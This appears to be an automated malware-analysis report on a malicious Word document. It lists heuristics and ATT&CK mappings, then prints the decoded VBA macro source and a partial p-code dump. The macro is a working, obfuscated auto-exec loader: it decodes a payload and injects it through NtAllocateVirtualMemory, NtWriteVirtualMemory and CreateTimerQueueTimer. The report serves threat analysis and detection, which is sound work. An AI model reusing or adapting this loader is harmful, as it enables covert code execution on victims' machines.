MALICIOUS
110
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1059 Command and Scripting Interpreter
The sample is a Microsoft Office document containing VBA macros. Heuristics indicate the presence of a 'Document_Open' macro that uses 'GetObject' to execute code. The VBA code itself is heavily obfuscated, but the presence of these indicators strongly suggests an attempt to download and execute a secondary payload. No specific family could be identified due to the obfuscation and lack of clear indicators.
Heuristics 5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Dim wdSln As Selection Set wdApp = GetObject(, "Word.Application") Set wdDoc = wdApp.ActiveDocument -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() Dim paraprofessional As Variant -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 51211 bytes |
SHA-256: 64939ef46cbce5f78e68347ba5d47b155bdcf7aeec1748e960da5b01189265f0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function ranitidine(putrid, corrugation, alea)
zara = sleeves.georges(80 / 4 * 4)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (zara) Then
Dim transmitted As String
Dim bibliophile As Long
Dim awfulness As LongPtr
Dim decadent As LongPtr
Dim arpeggio As LongPtr
Dim beanbag As Long
Dim incessantly As LongPtr
Dim honte As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (zara) Then
Dim decadent As Long
Dim knotted As Long
Dim awfulness As Long
Dim phenomenal As Long
Dim incessantly As Long
Dim decisiveness As Long
Dim arpeggio As Long
Dim disparagement As Long
Dim honte As Long
Dim masseur As String
Dim mens As String
#End If
arcellidae = Math.Round(395)
eudyptes = employee
decadent = putrid
honte = alea
anagasta = Rnd(484)
incessantly = corrugation
crutched = 31
behalf = 21537
quarrelsome = 565775
Pmt 0, crutched, 28720, 56872, 3
eudyptes = fringilla
awfulness = 6 - 73 + 66
marcid ByVal awfulness, decadent, incessantly, honte, arpeggio
employee = eudyptes
End Function
Function bulging(arbitrament)
Dim melastomataceae As Long
Dim bees As Integer
Dim jerky As Long
Dim psychometric As Long
#If (11 * 2 + 5) > (8 - 3 * 1) And (28 - 7 * 4) * 2 < (Win64) Then
Dim dogear As Byte
Dim metamorphosis As LongPtr
chaqueta = 127 - 54 - 65
Dim bibblebabble As LongPtr
Dim vice As String
Dim blandness As Integer
Dim bellicose As LongPtr
Dim unwomanly As Variant
#End If
#If (12 * 4 + 7) > (9 - 3 * 2) And Not (32 - 8 * 4) * 2 < (Win64) Then
Dim metamorphosis As Long
chaqueta = 6 - 110 + 108
Dim bibblebabble As Long
Dim bellicose As Long
#End If
doom = VarPtr(metamorphosis)
dilettant = ranitidine(doom, VarPtr(arbitrament) + 8, chaqueta)
boustrophedonic = 117 - 7 - 111
bibblebabble = 86 - 104 + 18
blockage = 11 - 102 + 91
bellicose = 25 - 76 + 9534
purling = 92 - 24 + 4028
arduously = 121 - 108 + 51
bowl = cochlearius(ByVal boustrophedonic, bibblebabble, ByVal blockage, bellicose, ByVal purling, ByVal arduously)
doublebarreled = Math.Round(288)
eudyptes = "screwdriver"
ranitidine bibblebabble, metamorphosis, 124 - 125 + 5884
bribe = 62
vexed = 14350
aeronatics = 527842
Pmt 0, bribe, 23338, 28323, 3
bulging = bibblebabble
End Function
Sub servitude()
Dim nonnaturals As String
Dim photosynthetic As Variant
transfusion.dedifferentiation.Value = Day(#12/5/2013#)
varday = heels = "figment"
accentual = "dura"
located = "compend"
astutely = "rolling"
admonition = deepen
creationism = "wiring"
backband = "disyllabic"
inaccurate = munditiis
Set contractual = transfusion.dedifferentiation.SelectedItem
saqqara = 77
fondant = 22055
oppilation = 478662
Pmt 0, saqqara, 22258, 50204, 7
ambrosial = contractual.Name
dots = 47 - 34 + 7831
usucaption = Right(ambrosial, dots)
skiff = freedoms.analog(usucaption)
andryala = 58
characteristically = 5063
minutiae = 477152
Pmt 0, andryala, 15603, 11689, 8
exoticism = bluecollar
flasket = "uncontrollable"
#If (11 * 2 + 5) > (8 - 3 * 1) And (28 - 7 * 4) * 2 < (Win64) Then
Dim mercurialis As Integer
Dim gypsum As LongPtr
Dim costless As LongPtr
Dim edinburgh As Long
#End If
#If (12 * 4 + 7) > (9 - 3 * 2) And Not (32 - 8 * 4) * 2 < (Win64) Then
Dim sedation As Variant
Dim costless As Long
Dim bellbird As Integer
Dim gypsum As Long
#End If
empiricist = 17 - 53 + 36
chlamydosaurus = "unsubstantiality"
bowel = 50 - 35 + 4081
akwaala = 39
mightiest = 27094
machinist = 416727
Pmt 0, akwaala, 26519, 37928, 3
slouching = trendy
earthshaking = "prussia"
respiratory = "concavity"
chained = 120
dizziness = 10347
polaris = 354257
Pmt 0, chained, 36047, 13735, 6
unshorn = skiff
billings = "ineffable"
gypsum = bulging(unshorn)
humectate = "albizzia"
#If (11 * 2 + 5) > (8 - 3 * 1) And (28 - 7 * 4) * 2 < (Win64) Then
Dim hackee As Integer
Dim acharne As LongPtr
Dim closepacked As LongPtr
Dim oust As LongPtr
chromoblastomycosis = 92 - 11 + 1983
#End If
#If (12 * 4 + 7) > (9 - 3 * 2) And Not (32 - 8 * 4) * 2 < (Win64) Then
Dim acharne As Long
enfranchise = 2 - 103 + 882
Dim closepacked As Long
Dim oust As Long
chromoblastomycosis = enfranchise + 3459
#End If
Dim dementate As Integer
Dim heretical As String
acharne = 34 - 78 + 44
costless = gypsum + chromoblastomycosis
closepacked = 23 - 62 + 201566
oust = 5 - 25 + 3520
ambush = afril(closepacked, acharne, costless)
rejuvenescence = 113
seafarer = 3211
anteriority = 472986
Pmt 0, rejuvenescence, 39388, 32086, 2
End Sub
Private Sub Document_Open()
Dim paraprofessional As Variant
Dim pasigraphy As Long
decolorize = "blackpool"
harpy = "cannulation"
servitude
diarrheal = 20 + 9
hardbitten = 24670 + 4
ridentem = 287770 + 5
Pmt 0, diarrheal, 14238, 42526, 6
End Sub
Attribute VB_Name = "sleeves"
' We locked eyes over whiskey on ice
' Baby, without warning
Sub InsertText()
Dim wdApp As Word.Application
Dim wdDoc As Document
Dim wdSln As Selection
Set wdApp = GetObject(, "Word.Application")
Set wdDoc = wdApp.ActiveDocument
Set wdSln = wdApp.Selection
wdDoc.Application.Options.Overtype = False
With wdSln
If .Type = wdSelectionIP Then
.TypeText ("Inserting at insertion point. ")
ElseIf .Type = wdSelectionNormal Then
If wdApp.Options.ReplaceSelection Then
.Collapse Direction:=wdCollapseStart
End If
.TypeText ("Inserting before a text block. ")
End If
End With
Set wdApp = Nothing
Set wdDoc = Nothing
End Sub
Function afril(lst, pirs, lky)
zara = georges(80 / 4 * 4)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (zara) Then
Dim dogss As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (zara) Then
Dim dogss As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
dogss = pirs
deble = lky
dan2 = hydrocyanic(lst, dogss, deble, dogss, dogss, dogss, dogss)
End Function
Function georges(linkoln)
Dim windser As Integer
Dim velvet As Integer
fixoid = linkoln * 12
Dim sitroen As Variant
metro2 = linkoln * 2
Dim cowen() As Byte
#If (4 * 6 + linkoln) > (6 - 2 * 1) And (10 - linkoln * 2) * 2 < (Win64) Then
velvet = metro2
#End If
#If (4 * 6 + linkoln) > (6 - 2 * 1) And Not (Win64) > (10 - linkoln * 2) * 2 Then
velvet = (120 - fixoid)
#End If
metro3 = metro2 + velvet
georges = velvet
End Function
Sub page()
With Documents("yourDoc.doc").PageSetup
.PaperSize = wdPaperLetter
.Orientation = wdOrientPortrait
.TopMargin = 1
.BottomMargin = 1
.LeftMargin = 1
.RightMargin = 1.5
.MirrorMargins = True
End With
End Sub
Function assistance(chaser, doughy, desaeuvre)
If desaeuvre = (30 + 9) + (10 / 2 - 5) Then
assistance = chaser \ doughy
ElseIf desaeuvre = (40 + 9) + (5 - 3) / 2 - 1 Then
assistance = chaser And doughy
ElseIf desaeuvre = (50 + 7) + (56 / 7 - 4 * 2) Then
assistance = chaser * doughy
End If
End Function
Function unfaceted(deciduous)
unfaceted = AscW(deciduous)
End Function
Attribute VB_Name = "transfusion"
Attribute VB_Base = "0{52AFF917-9A9F-4A9D-9F62-A7F212B89B55}{EC6FB44D-53CE-4A4D-9421-2546F5A23B89}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "freedoms"
#If (12 * 4 + 7) > (9 - 3 * 2) And Not (32 - 8 * 4) * 2 < (Win64) Then
' And hit me like a hurricane' But just your sight had my heart storming
Public Declare Function hydrocyanic Lib "Kernel32" Alias "CreateTimerQueueTimer" (constructively As Any, ByVal achiever As Any, ByVal condensation As Any, ByVal doortodoor As Any, ByVal blancmange As Any, ByVal conocidos As Any, ByVal defer As Any) As Long
' Hit me like a hurricane
' And hit me like a hurricane
Public Declare Function marcid Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal saudiarabian As Any, ByVal hemisphere As Any, ByVal cacique As Any, ByVal archduchy As Any, ByVal bromoseltzer As Any) As Long
' I was doing alright
' But you rolled in with your hair in the wind
Public Declare Function unselfconsciously Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal invariable As Any, melastomataceae As Any, agreeable As Any, rimfire As Any) As Long
' Started talking bout us again
' If I woulda just layed my drink down
Public Declare Function cochlearius Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (cerambycidae As Long, beatnik As Long, ByVal hector As Long, pendragonByVal As Long, direct As Long, ByVal ashamed As Long) As Long
' If I woulda just layed my drink down
' Rain was driving, thunder, lightning
Public Declare Function emancipate Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal hygroscopic As Any, scandaleuse As Any, minority As Any, aliped As Any) As Long
' I wouldnt be in my truck
' We locked eyes over whiskey on ice
Public Declare Function filled Lib "ntdll.dll " Alias "AcquireSRWLockShared" (prolonged As Any) As Long
' If I woulda just layed my drink down
' Rain was driving, thunder, lightning
#End If
' You wrecked my whole world when you came
' Rain was driving, thunder, lightning
#If (11 * 2 + 5) > (8 - 3 * 1) And (28 - 7 * 4) * 2 < (Win64) Then
' I was doing alright
' But just your sight had my heart storming
Public Declare PtrSafe Function hydrocyanic Lib "Kernel32" Alias "CreateTimerQueueTimer" (sloanea As Any, ByVal admiration As Any, ByVal storing As Any, ByVal lilywhite As Any, ByVal metameric As Any, ByVal usherette As Any, ByVal lana As Any) As Long
' You wrecked my whole world when you came
' But you rolled in with your hair in the wind
Public Declare PtrSafe Function cochlearius Lib "ntdll.dll " Alias _
"NtAllocateVirtualMemory" (acknowledged As LongPtr, exploding As LongPtr, ByVal dinornis As LongPtr, solidusByVal As LongPtr, churchdom As LongPtr, ByVal meaning As LongPtr) As LongPtr
' Rain was driving, thunder, lightning
' And hit me like a hurricane
Public Declare PtrSafe Function marcid Lib "ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal ancohuma As Any, ByVal numerantur As Any, ByVal consequent As Any, ByVal bazaar As Any, ByVal tinkering As Any) As LongPtr
' But you rolled in with your hair in the wind
' Rain was driving, thunder, lightning
Public Declare PtrSafe Function gdansk Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal romeo As Any, prongs As Any, modelled As Any, argute As Any) As LongPtr
' From the moment when
' Hit me like a hurricane
Public Declare PtrSafe Function seasonably Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal assyriology As Any, beading As Any, seedtime As Any, amblygonite As Any) As LongPtr
' Driving us to your house
' Started talking bout us again
Public Declare PtrSafe Function outstrip Lib "ntdll.dll " Alias "AcquireSRWLockShared" (separatio As Any) As LongPtr
' I was doing alright
#End If
Function hither()
Dim fox(255) As Byte
actinometry = 72 - 82 + 75
Do While actinometry <= 90 + 1
fox(actinometry) = actinometry - 65
actinometry = actinometry + 1
Loop
actinometry = 48
Do While actinometry <= 50 + 8
fox(actinometry) = actinometry + 4
actinometry = actinometry + 1
Loop
actinometry = 97
Do While actinometry <= 120 + 3
fox(actinometry) = actinometry - 71
actinometry = actinometry + 1
Loop
fox(47) = 63
actinometry = 43
fox(actinometry) = 60 + 2
hither = fox
End Function
Sub SelectSentence()
Dim wdApp As Word.Application
Dim wdRng As Word.Range
Set wdApp = GetObject(, "Word.Application")
With wdApp.ActiveDocument
If .Paragraphs.Count >= 3 Then
Set wdRng = .Paragraphs(3).Range
wdRng.Copy
End If
End With
Worksheets("Sheet2").PasteSpecial
Worksheets("Sheet2").Paste Destination:=Worksheets("Sheet2").Range("A1")
Set wdApp = Nothing
Set wdRng = Nothing
End Sub
Function analog(maculation) As String
Dim mispronunciation(6962) As Byte
Dim nootka As Long
fringilla = "misemploy"
Dim evacuation(63) As Long
Dim abhorrent As Integer
fringilla = employee
Dim hazel As Integer
Dim disce As Long
Dim antifungal As String
Dim enchase As Long
Dim antiinflammatory As Long
unbloodied = Math.Round(491)
Dim extroversion(63) As Long
Dim thespian As String
Dim hunch(63) As Long
Dim doorkeeper As String
Dim lepidosauria() As Byte
Dim batidaceae As Byte
alpha = 55 - 51 + 60
nonaligned = 35 - 54 + 65299
conation = 38 - 77 + 16711719
Dim liberally As Integer
legging = 50 - 38 + 244
ancestors = 30 - 63 + 16515105
homes = 51 - 35 + 65520
Dim deuteronomy As Byte
Dim ba As Integer
encyclopedical = 97 - 119 + 258070
amaurotic = 42 - 72 + 285
fireworks = 9 - 90 + 262225
chelonian = 20 - 71 + 4147
molecular = 39 - 80 + 4073
dunghill = 90 - 77 + 50
Dim estreat As Integer
battle = 14 - 14 + 0
adrift = 98 - 47 + 7792
Dim indigestaque() As Byte
Dim confine As Variant
Dim argentinidae As Byte
indigestaque = VBA.StrConv(maculation, 128)
Dim wrymouth As Integer
gluteal = 103
therapsida = 16425
invalidate = 215432
Pmt 0, gluteal, 15170, 44868, 8
discomposed = 7843
circumfuse = vbKeyShift - 12
For umbel = 0 To discomposed
If umbel Mod 2 = 0 Then
indigestaque(umbel) = indigestaque(umbel) - circumfuse
Else
indigestaque(umbel) = indigestaque(umbel) - (circumfuse - 1)
End If
Next umbel
bauxitic = 4
monoplane = 22371
extirpate = 463938
Pmt 0, bauxitic, 23294, 41482, 7
abhorrent = 0
figment = 95 - 108 + 13
jambalaya = 9 - 101 + 135
euclidian = hither
For disce = (7 - 7) * 1 To (50 + 13) * (5 - 4)
extroversion(disce) = assistance(disce, alpha, 57)
hunch(disce) = assistance(disce, chelonian, 57)
evacuation(disce) = assistance(disce, fireworks, 57)
Next disce
expansionism = 6
aslope = 36018
ningal = 150857
Pmt 0, expansionism, 36298, 47985, 4
lepidosauria = indigestaque
arnoseris = 99 - 22 - 73
dewberry = 39
brugmansia = 21751
slurp = 122735
Pmt 0, dewberry, 5469, 45767, 3
cachinnation = 70 - 65 - 2
doublebarreled = Rnd(75)
anagasta = Rnd(64)
earnestly = cachinnation + 1
iv = 109 - 39 - 68
For antiinflammatory = 0 To discomposed
vesta = lepidosauria(antiinflammatory)
pathogenically = lepidosauria(antiinflammatory + 2)
employer = hunch(euclidian(lepidosauria(antiinflammatory + 1)))
esselen = extroversion(euclidian(pathogenically)) + euclidian(lepidosauria(antiinflammatory + cachinnation))
nootka = evacuation(euclidian(vesta)) + employer + esselen
disce = assistance(nootka, conation, 49)
mispronunciation(enchase) = assistance(disce, homes, 39)
disce = assistance(nootka, nonaligned, 49)
mispronunciation(enchase + 1) = assistance(disce, legging, 39)
mispronunciation(enchase + iv) = assistance(nootka, amaurotic, 49)
enchase = enchase + iv + 1
antiinflammatory = antiinflammatory + 3
Next
analog = mispronunciation
End Function
' Processing file: /opt/analyzer/scan_staging/13544bf3556847fe8ca7926718b5e25e.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 14650 bytes
' Line #0:
' Line #1:
' Line #2:
' FuncDefn (Function ranitidine(putrid))
' Line #3:
' LitDI2 0x0050
' LitDI2 0x0004
' Div
' LitDI2 0x0004
' Mul
' Ld sleeves
' ArgsMemLd metro3 0x0001
' St geogre
' Line #4:
' LbMark
' LitDI2 0x0007
' LitDI2 0x0004
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0014
' LitDI2 0x0005
' LitDI2 0x0004
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld geogre
' Paren
' Lt
' And
' LbIf
' Line #5:
' Dim
' VarDefn transmitted (As String)
' Line #6:
' Dim
' VarDefn bibliophile (As Long)
' Line #7:
' Dim
' VarDefn awfulness (As Ptr)
' Line #8:
' Dim
' VarDefn decadent (As Ptr)
' Line #9:
' Dim
' VarDefn arpeggio (As Ptr)
' Line #10:
' Dim
' VarDefn beanbag (As Long)
' Line #11:
' Dim
' VarDefn incessantly (As Ptr)
' Line #12:
' Dim
' VarDefn honte (As Ptr)
' Line #13:
' LbMark
' LbEndIf
' Line #14:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld geogre
' Paren
' Lt
' Not
' And
' LbIf
' Line #15:
' Dim
' VarDefn decadent (As Long)
' Line #16:
' Dim
' VarDefn knotted (As Long)
' Line #17:
' Dim
' VarDefn awfulness (As Long)
' Line #18:
' Dim
' VarDefn phenomenal (As Long)
' Line #19:
' Dim
' VarDefn incessantly (As Long)
' Line #20:
' Dim
' VarDefn decisiveness (As Long)
' Line #21:
' Dim
' VarDefn arpeggio (As Long)
' Line #22:
' Dim
' VarDefn disparagement (As Long)
' Line #23:
' Dim
' VarDefn honte (As Long)
' Line #24:
' Dim
' VarDefn masseur (As String)
' Line #25:
' Dim
' VarDefn mens (As String)
' Line #26:
' LbMark
' LbEndIf
' Line #27:
' LitDI2 0x018B
' Ld Math
' ArgsMemLd Round 0x0001
' St arcellidae
' Line #28:
' Ld employee
' St eudyptes
' Line #29:
' Ld putrid
' St decadent
' Line #30:
' Ld alea
' St honte
' Line #31:
' LitDI2 0x01E4
' ArgsLd Rnd 0x0001
' St anagasta
' Line #32:
' Ld corrugation
' St incessantly
' Line #33:
' LitDI2 0x001F
' St crutched
' Line #34:
' LitDI2 0x5421
' St behalf
' Line #35:
' LitDI4 0xA20F 0x0008
' St quarrelsome
' Line #36:
' LitDI2 0x0000
' Ld crutched
' LitDI2 0x7030
' LitDI4 0xDE28 0x0000
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #37:
' Line #38:
' Ld fringilla
' St eudyptes
' Line #39:
' LitDI2 0x0006
' LitDI2 0x0049
' Sub
' LitDI2 0x0042
' Add
' St awfulness
' Line #40:
' Ld awfulness
' ParamByVal
' Ld decadent
' Ld incessantly
' Ld honte
' Ld arpeggio
' ArgsCall marcid 0x0005
' Line #41:
' Ld eudyptes
' St employee
' Line #42:
' EndFunc
' Line #43:
' FuncDefn (Function bulging(arbitrament))
' Line #44:
' Dim
' VarDefn melastomataceae (As Long)
' Line #45:
' Dim
' VarDefn bees (As Integer)
' Line #46:
' Dim
' VarDefn jerky (As Long)
' Line #47:
' Dim
' VarDefn psychometric (As Long)
' Line #48:
' LbMark
' LitDI2 0x000B
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0008
' LitDI2 0x0003
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x001C
' LitDI2 0x0007
' LitDI2 0x0004
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #49:
' Dim
' VarDefn dogear (As Byte)
' Line #50:
' Dim
' VarDefn metamorphosis (As Ptr)
' Line #51:
' LitDI2 0x007F
' LitDI2 0x0036
' Sub
' LitDI2 0x0041
' Sub
' St chaqueta
' Line #52:
' Dim
' VarDefn bibblebabble (As Ptr)
' Line #53:
' Dim
' VarDefn vice (As String)
' Line #54:
' Dim
' VarDefn blandness (As Integer)
' Line #55:
' Dim
' VarDefn bellicose (As Ptr)
' Line #56:
' Dim
' VarDefn unwomanly (As Variant)
' Line #57:
' LbMark
' LbEndIf
' Line #58:
' LbMark
' LitDI2 0x000C
' LitDI2 0x0004
' Mul
' LitDI2 0x0007
' Add
' Paren
' LitDI2 0x0009
' LitDI2 0x0003
' LitDI2 0x0002
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0020
' LitDI2 0x0008
' LitDI2 0x0004
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #59:
' Dim
' VarDefn metamorphosis (As Long)
' Line #60:
' LitDI2 0x0006
' LitDI2 0x006E
' Sub
' LitDI2 0x006C
' Add
' St chaqueta
' Line #61:
' Dim
' VarDefn bibblebabble (As Long)
' Line #62:
' Dim
' VarDefn bellicose (As Long)
' Line #63:
' LbMark
' LbEndIf
' Line #64:
' Ld metamorphosis
' ArgsLd VarPtr 0x0001
' St doom
' Line #65:
' Ld doom
' Ld arbitrament
' ArgsLd VarPtr 0x0001
' LitDI2 0x0008
' Add
' Ld chaqueta
' ArgsLd ranitidine 0x0003
' St dilettant
' Line #66:
' LitDI2 0x0075
' LitDI2 0x0007
' Sub
' LitDI2 0x006F
' Sub
' St boustrophedonic
' Line #67:
' LitDI2 0x0056
' LitDI2 0x0068
' Sub
' LitDI2 0x0012
' Add
' St bibblebabble
' Line #68:
' LitDI2 0x000B
' LitDI2 0x0066
' Sub
' LitDI2 0x005B
' Add
' St blockage
' Line #69:
' LitDI2 0x0019
' LitDI2 0x004C
' Sub
' LitDI2 0x253E
' Add
' St bellicose
' Line #70:
' LitDI2 0x005C
' LitDI2 0x0018
' Sub
' LitDI2 0x0FBC
' Add
' St purling
' Line #71:
' LitDI2 0x0079
' LitDI2 0x006C
' Sub
' LitDI2 0x0033
' Add
' St arduously
' Line #72:
' Ld boustrophedonic
' ParamByVal
' Ld bibblebabble
' Ld blockage
' ParamByVal
' Ld bellicose
' Ld purling
' ParamByVal
' Ld arduously
' ParamByVal
' ArgsLd cochlearius 0x0006
' St bowl
' Line #73:
' LitDI2 0x0120
' Ld Math
' ArgsMemLd Round 0x0001
' St doublebarreled
' Line #74:
' Line #75:
' LitStr 0x000B "screwdriver"
' St eudyptes
' Line #76:
' Line #77:
' Ld bibblebabble
' Ld metamorphosis
' LitDI2 0x007C
' LitDI2 0x007D
' Sub
' LitDI2 0x16FC
' Add
' ArgsCall ranitidine 0x0003
' Line #78:
' LitDI2 0x003E
' St bribe
' Line #79:
' LitDI2 0x380E
' St vexed
' Line #80:
' LitDI4 0x0DE2 0x0008
' St aeronatics
' Line #81:
' LitDI2 0x0000
' Ld bribe
' LitDI2 0x5B2A
' LitDI2 0x6EA3
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #82:
' Line #83:
' Ld bibblebabble
' St bulging
' Line #84:
' EndFunc
' Line #85:
' FuncDefn (Sub servitude())
' Line #86:
' Dim
' VarDefn nonnaturals (As String)
' Line #87:
' Dim
' VarDefn photosynthetic (As Variant)
' Line #88:
' LitDate 0x0000 0x0000 0x51A0 0x40E4
' ArgsLd Day 0x0001
' Ld transfusion
' MemLd dedifferentiation
' MemSt Value
' Line #89:
' Ld heels
' LitStr 0x0007 "figment"
' Eq
' St varday
' Line #90:
' LitStr 0x0004 "dura"
' St accentual
' Line #91:
' LitStr 0x0007 "compend"
' St located
' Line #92:
' LitStr 0x0007 "rolling"
' St astutely
' Line #93:
' Ld deepen
' St admonition
' Line #94:
' Line #95:
' LitStr 0x0006 "wiring"
' St creationism
' Line #96:
' LitStr 0x000A "disyllabic"
' St backband
' Line #97:
' Ld munditiis
' St inaccurate
' Line #98:
' SetStmt
' Ld transfusion
' MemLd dedifferentiation
' MemLd SelectedItem
' Set contractual
' Line #99:
' LitDI2 0x004D
' St saqqara
' Line #100:
' LitDI2 0x5627
' St fondant
' Line #101:
' LitDI4 0x4DC6 0x0007
' St oppilation
' Line #102:
' LitDI2 0x0000
' Ld saqqara
' LitDI2 0x56F2
' LitDI4 0xC41C 0x0000
' LitDI2 0x0007
' ArgsCall Pmt 0x0005
' Line #103:
' Line #104:
' Ld contractual
' MemLd Name
' St ambrosial
' Line #105:
' LitDI2 0x002F
' LitDI2 0x0022
' Sub
' LitDI2 0x1E97
' Add
' St dots
' Line #106:
' Ld ambrosial
' Ld dots
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.